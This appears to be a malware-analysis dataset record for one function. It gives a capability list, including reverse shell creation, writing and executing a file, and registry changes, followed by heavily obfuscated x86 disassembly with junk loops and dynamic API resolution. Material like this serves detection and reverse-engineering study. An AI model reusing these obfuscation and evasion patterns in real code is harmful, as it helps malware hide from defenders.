Function at 0x582c00
Capabilities:
Accept command line arguments
Allocate thread local storage
Check mutex and terminate process on windows
Check mutex on windows
Create pipe
Create process on windows
Create reverse shell
Create thread
Delete file
Enumerate files on windows
Get common file path
Get graphical window text
Get thread local storage value
Read file on windows
Read pipe
Resolve dns
Set environment variable
Set registry value
Set thread local storage value
Terminate process
Terminate thread
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf4
mov dword [ebp - 0x30], 0x9685
mov dword [ebp - 8], 0x8b5b
mov dword [ebp - 0x44], 0x13c8a
mov dword [ebp - 0x84], 0x83a3
mov dword [ebp - 4], 0x4566
mov dword [ebp - 0x38], 0x16cc0
mov dword [ebp - 0x58], 0x5f9a
mov dword [ebp - 0x60], 0xc1ac
mov dword [ebp - 0x2c], 0x172d2
mov dword [ebp - 0x1c], 0x22d7
mov dword [ebp - 0xac], 0x141c8
mov dword [ebp - 0x10], 0xb1a8
mov dword [ebp - 0x14], 0x6005
mov dword [ebp - 0x34], 0x6a8e
mov dword [ebp - 0x5c], 0xbc55
mov dword [ebp - 0x20], 0x173b
mov dword [ebp - 0xc], 0x12c94
mov dword [ebp - 0x50], 0x11648
mov dword [ebp - 0x18], 0x737f
mov dword [ebp - 0x40], 0x17ff5
call fcn.00404460
call fcn.004101d0
cmp dword [0x58b1f0], 0
jne 0x582cd1
push 0x124f
push 0x57c5
push 0xa23b
call fcn.00406d40
add esp, 0xc
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x58b1f0], eax
mov eax, dword [ebp - 0x1c]
add eax, 0x8869
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x30]
add ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], ecx
jmp 0x582cf0
mov edx, dword [ebp - 0x30]
add edx, 1
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0xac]
jge 0x582e66
mov ecx, dword [ebp - 0x34]
imul ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x582d13
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 8]
sub eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x18]
cmp edx, dword [ebp - 8]
jl 0x582d35
mov eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0x10]
jge 0x582d3e
mov ecx, dword [ebp - 0x10]
sub ecx, 1
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x60]
or edx, dword [ebp - 0x18]
cmp edx, dword [ebp - 4]
jl 0x582d51
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x2c]
jge 0x582d5a
mov ecx, dword [ebp - 0x14]
sub ecx, 1
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 4]
imul edx, dword [ebp - 0x2c]
cmp edx, dword [ebp - 0x10]
jge 0x582d6f
mov eax, dword [ebp - 8]
sub eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 0x5c]
cmp ecx, dword [ebp - 0x58]
jl 0x582d8f
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
or eax, dword [ebp - 0x20]
je 0x582e3d
mov ecx, dword [ebp - 0x18]
cmp ecx, dword [ebp - 0x84]
jge 0x582e3d
mov edx, dword [ebp - 0x50]
cmp edx, dword [ebp - 8]
jge 0x582db2
mov dword [ebp - 0x88], 1
jmp 0x582dbc
mov dword [ebp - 0x88], 0
mov eax, dword [ebp - 0xc]
and eax, dword [ebp - 0x88]
je 0x582e3d
mov ecx, dword [ebp - 0x34]
sub ecx, 1
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x58]
cmp edx, dword [ebp - 0x34]
jl 0x582e09
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x5c]
jne 0x582e09
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x44]
jge 0x582df4
mov dword [ebp - 0x8c], 1
jmp 0x582dfe
mov dword [ebp - 0x8c], 0
mov edx, dword [ebp - 0x20]
and edx, dword [ebp - 0x8c]
je 0x582e3d
mov eax, dword [ebp - 0x58]
and eax, dword [ebp - 0x2c]
jne 0x582e34
mov ecx, dword [ebp - 0x20]
cmp ecx, dword [ebp - 0x14]
jl 0x582e34
mov edx, dword [ebp - 0x38]
cmp edx, dword [ebp - 0xc]
jl 0x582e34
mov eax, dword [ebp - 0x60]
add eax, dword [ebp - 0x44]
jne 0x582e34
mov ecx, dword [ebp - 0x84]
add ecx, dword [ebp - 4]
je 0x582e3d
mov edx, dword [ebp - 0x38]
add edx, 1
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x1c]
add eax, 1
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
sub ecx, 1
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x20]
sub edx, 1
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
jmp 0x582ce7
mov ecx, dword [0x58b204]
push ecx
mov edx, dword [0x58b1f4]
push edx
mov eax, dword [0x58b200]
push eax
mov ecx, dword [0x58b1ec]
push ecx
mov edx, dword [0x58b1f0]
push edx
push 0x8b45
push 0xd635
push 0xea1c
push 0xabc7
push 0x930d
push 0x6f2c
push 0xa1d1
push 0xa5cc
push 0x75d2
call fcn.00405b80
add esp, 0x24
push eax
mov eax, dword [0x58b1f0]
push eax
call fcn.005838b0
add esp, 8
call eax
test eax, eax
je 0x583657
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
cmp dword [0x58b1f0], 0
je 0x583657
mov dword [ebp - 0x70], 0x162a
mov dword [ebp - 0xa4], 0x7031
mov dword [ebp - 0x6c], 0x5843
mov dword [ebp - 0xbc], 0x1250a
mov dword [ebp - 0x4c], 0x198d
mov dword [ebp - 0x48], 0x16d90
mov dword [ebp - 0x98], 0xae54
mov dword [ebp - 0x9c], 0x5e85
mov dword [ebp - 0x64], 0x2bf9
mov dword [ebp - 0x24], 0x11828
mov dword [ebp - 0x54], 0x9511
mov dword [ebp - 0x28], 0xe79
mov dword [ebp - 0x68], 0xdc80
mov dword [ebp - 0x80], 0x115e9
mov dword [ebp - 0x74], 0xe294
mov dword [ebp - 0x78], 0x6484
mov dword [ebp - 0x94], 0x1191e
mov dword [ebp - 0xb0], 0x13803
mov dword [ebp - 0x3c], 0x1657a
mov dword [ebp - 0x7c], 0xcef6
mov dword [ebp - 0xa0], 0x6844
call fcn.004062d0
call fcn.0057e850
mov edx, dword [ebp - 0x3c]
sub edx, 0x5971
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x64]
add eax, dword [ebp - 0x3c]
mov dword [ebp - 0x64], eax
jmp 0x582fbe
mov ecx, dword [ebp - 0x64]
add ecx, 1
mov dword [ebp - 0x64], ecx
mov edx, dword [ebp - 0x64]
cmp edx, dword [ebp - 0xb0]
jge 0x5831d8
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x78]
jl 0x583028
mov ecx, dword [ebp - 0x3c]
cmp ecx, dword [ebp - 0x28]
jge 0x582fe9
mov dword [ebp - 0x90], 1
jmp 0x582ff3
mov dword [ebp - 0x90], 0
mov edx, dword [ebp - 0x9c]
or edx, dword [ebp - 0x90]
je 0x583009
mov eax, dword [ebp - 0x6c]
and eax, dword [ebp - 0x68]
jne 0x583028
mov ecx, dword [ebp - 0x94]
and ecx, dword [ebp - 0x80]
jne 0x583028
mov edx, dword [ebp - 0x74]
add edx, 1
mov dword [ebp - 0x74], edx
mov eax, dword [ebp - 0x4c]
sub eax, dword [ebp - 0x74]
cmp eax, dword [ebp - 0x54]
jge 0x583031
mov ecx, dword [ebp - 0x4c]
add ecx, 1
mov dword [ebp - 0x4c], ecx
mov edx, dword [ebp - 0x28]
xor edx, dword [ebp - 0x80]
jne 0x58304f
mov eax, dword [ebp - 0x70]
cmp eax, dword [ebp - 0x94]
jl 0x58304f
mov ecx, dword [ebp - 0x98]
cmp ecx, dword [ebp - 0x54]
jge 0x583058
mov edx, dword [ebp - 0x78]
add edx, 1
mov dword [ebp - 0x78], edx
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x7c]
jge 0x58306c
mov ecx, dword [ebp - 0x24]
imul ecx, dword [ebp - 0x28]
cmp ecx, dword [ebp - 0x68]
jl 0x5830ab
mov edx, dword [ebp - 0x70]
mov dword [ebp - 0xb4], edx
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0xb8], eax
mov ecx, dword [ebp - 0x70]
sub ecx, 1
mov dword [ebp - 0x70], ecx
mov edx, dword [ebp - 0xb4]
cmp edx, dword [ebp - 0xb8]
jge 0x583131
mov eax, dword [ebp - 0xbc]
or eax, dword [ebp - 0x6c]
je 0x583131
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [ebp - 0x4c]
jl 0x5830be
mov edx, dword [ebp - 0x7c]
and edx, dword [ebp - 0x80]
cmp edx, dword [ebp - 0x48]
jge 0x583131
mov eax, dword [ebp - 0x4c]
sub eax, dword [ebp - 0x48]
mov dword [ebp - 0xc0], eax
mov ecx, dword [ebp - 0x48]
sub ecx, 1
mov dword [ebp - 0x48], ecx
cmp dword [ebp - 0xc0], 0
je 0x5830ed
mov edx, dword [ebp - 0x54]
add edx, 1
mov dword [ebp - 0x54], edx
mov eax, dword [ebp - 0x74]
and eax, dword [ebp - 0x54]
jne 0x583128
mov ecx, dword [ebp - 0x98]
imul ecx, dword [ebp - 0x9c]
cmp ecx, dword [ebp - 0x24]
jge 0x583131
mov edx, dword [ebp - 0x78]
mov dword [ebp - 0xc4], edx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0xc8], eax
mov ecx, dword [ebp - 0x28]
add ecx, 1
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0xc4]
cmp edx, dword [ebp - 0xc8]
jge 0x583131
mov eax, dword [ebp - 0x6c]
sub eax, 1
mov dword [ebp - 0x6c], eax
mov ecx, dword [ebp - 0x48]
sub ecx, 1
mov dword [ebp - 0x48], ecx
mov edx, dword [ebp - 0x7c]
sub edx, 1
mov dword [ebp - 0x7c], edx
mov eax, dword [ebp - 0xa0]
sub eax, 1
mov dword [ebp - 0xa0], eax
mov ecx, dword [ebp - 0x68]
add ecx, 1
mov dword [ebp - 0x68], ecx
mov edx, dword [ebp - 0x54]
and edx, dword [ebp - 0x48]
je 0x58318c
mov eax, dword [ebp - 0xa4]
cmp eax, dword [ebp - 0x28]
jge 0x58318c
mov ecx, dword [ebp - 0x24]
or ecx, dword [ebp - 0x68]
mov dword [ebp - 0xcc], ecx
mov edx, dword [ebp - 0x24]
add edx, 1
mov dword [ebp - 0x24], edx
cmp dword [ebp - 0xcc], 0
jne 0x5831b8
mov eax, dword [ebp - 0x80]
or eax, dword [ebp - 0x3c]
mov dword [ebp - 0xd0], eax
mov ecx, dword [ebp - 0x6c]
mov dword [ebp - 0xd4], ecx
mov edx, dword [ebp - 0x3c]
add edx, 1
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0xd0]
cmp eax, dword [ebp - 0xd4]
jge 0x5831c1
mov ecx, dword [ebp - 0x4c]
sub ecx, 1
mov dword [ebp - 0x4c], ecx
mov edx, dword [ebp - 0x24]
sub edx, 1
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x28]
sub eax, 1
mov dword [ebp - 0x28], eax
jmp 0x582fb5
call dword [sym.imp.KERNEL32.dll_WriteFile]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call dword [sym.imp.USER32.dll_GetParent]
call dword [sym.imp.USER32.dll_GetSysColorBrush]
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call dword [sym.imp.USER32.dll_GetWindowTextA]
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call dword [sym.imp.USER32.dll_SetWindowPos]
call dword [sym.imp.KERNEL32.dll_GetFileType]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
call dword [sym.imp.WS2_32.dll_getaddrinfo]
call dword [sym.imp.KERNEL32.dll_CompareStringW]
call dword [sym.imp.USER32.dll_GetCursorPos]
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
call dword [sym.imp.GDI32.dll_SetTextColor]
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
call dword [sym.imp.COMDLG32.dll_GetSaveFileNameA]
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x18]
add edx, 0x4569
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x44]
sub eax, dword [ebp - 0x18]
mov dword [ebp - 0x44], eax
jmp 0x583680
mov ecx, dword [ebp - 0x44]
add ecx, 1
mov dword [ebp - 0x44], ecx
mov edx, dword [ebp - 0x44]
cmp edx, dword [ebp - 0x84]
jge 0x583860
mov eax, dword [ebp - 4]
sub eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
sub ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x18]
sub edx, 1
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x20]
xor eax, dword [ebp - 0x14]
je 0x5836ba
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 8]
jl 0x5836ed
mov edx, dword [ebp - 0xc]
sub edx, 1
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 4]
sub eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 4]
jne 0x5836ed
mov edx, dword [ebp - 0x18]
and edx, dword [ebp - 0x50]
je 0x583754
mov eax, dword [ebp - 0x34]
add eax, 1
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x34]
cmp ecx, dword [ebp - 0x38]
jge 0x583754
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0xc]
jge 0x583754
mov ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x30]
cmp ecx, dword [ebp - 0x38]
jge 0x583754
mov edx, dword [ebp - 0x18]
cmp edx, dword [ebp - 0x14]
jge 0x583754
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 4]
jge 0x583725
mov dword [ebp - 0xa8], 1
jmp 0x58372f
mov dword [ebp - 0xa8], 0
mov ecx, dword [ebp - 0x20]
or ecx, dword [ebp - 0xa8]
je 0x583754
mov edx, dword [ebp - 0x40]
sub edx, 1
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x40]
or eax, dword [ebp - 4]
je 0x583754
mov ecx, dword [ebp - 0x40]
add ecx, 1
mov dword [ebp - 0x40], ecx
mov edx, dword [ebp - 0x20]
add edx, 1
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x2c]
sub eax, 1
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x38]
xor edx, dword [ebp - 0x58]
mov dword [ebp - 0xd8], edx
mov eax, dword [ebp - 4]
mov dword [ebp - 0xdc], eax
mov ecx, dword [ebp - 0x58]
sub ecx, 1
mov dword [ebp - 0x58], ecx
mov edx, dword [ebp - 0xd8]
cmp edx, dword [ebp - 0xdc]
jge 0x583852
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x2c]
mov dword [ebp - 0xe0], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0xe4], ecx
mov edx, dword [ebp - 0x2c]
add edx, 1
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0xe0]
cmp eax, dword [ebp - 0xe4]
jge 0x583852
mov ecx, dword [ebp - 8]
imul ecx, dword [ebp - 0x10]
mov dword [ebp - 0xe8], ecx
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0xec], edx
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0xe8]
cmp ecx, dword [ebp - 0xec]
jge 0x583852
mov edx, dword [ebp - 0x60]
add edx, dword [ebp - 4]
je 0x583852
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x1c]
jge 0x583852
mov ecx, dword [ebp - 0x20]
imul ecx, dword [ebp - 4]
test ecx, ecx
je 0x583830
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x30]
je 0x583830
mov eax, dword [ebp - 0x40]
sub eax, 1
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp - 0x40]
jl 0x583849
mov edx, dword [ebp - 0x50]
cmp edx, dword [ebp - 8]
jge 0x583852
mov eax, dword [ebp - 0x5c]
sub eax, 1
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0x38]
cmp ecx, dword [ebp - 0x5c]
jge 0x583852
mov edx, dword [ebp - 0x60]
sub edx, 1
mov dword [ebp - 0x60], edx
mov eax, dword [ebp - 0x50]
add eax, 1
mov dword [ebp - 0x50], eax
jmp 0x583677
mov ecx, dword [ebp - 0x30]
cmp ecx, dword [ebp - 8]
jl 0x583878
mov edx, dword [ebp - 0x34]
cmp edx, dword [ebp - 4]
jge 0x5838aa
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x50]
jge 0x5838aa
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x34]
mov dword [ebp - 0xf0], ecx
mov edx, dword [ebp - 0x14]
sub edx, 1
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0xf0], 0
je 0x5838aa
mov eax, dword [ebp - 0x38]
imul eax, dword [ebp - 0x60]
test eax, eax
je 0x5838aa
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov esp, ebp
pop ebp
ret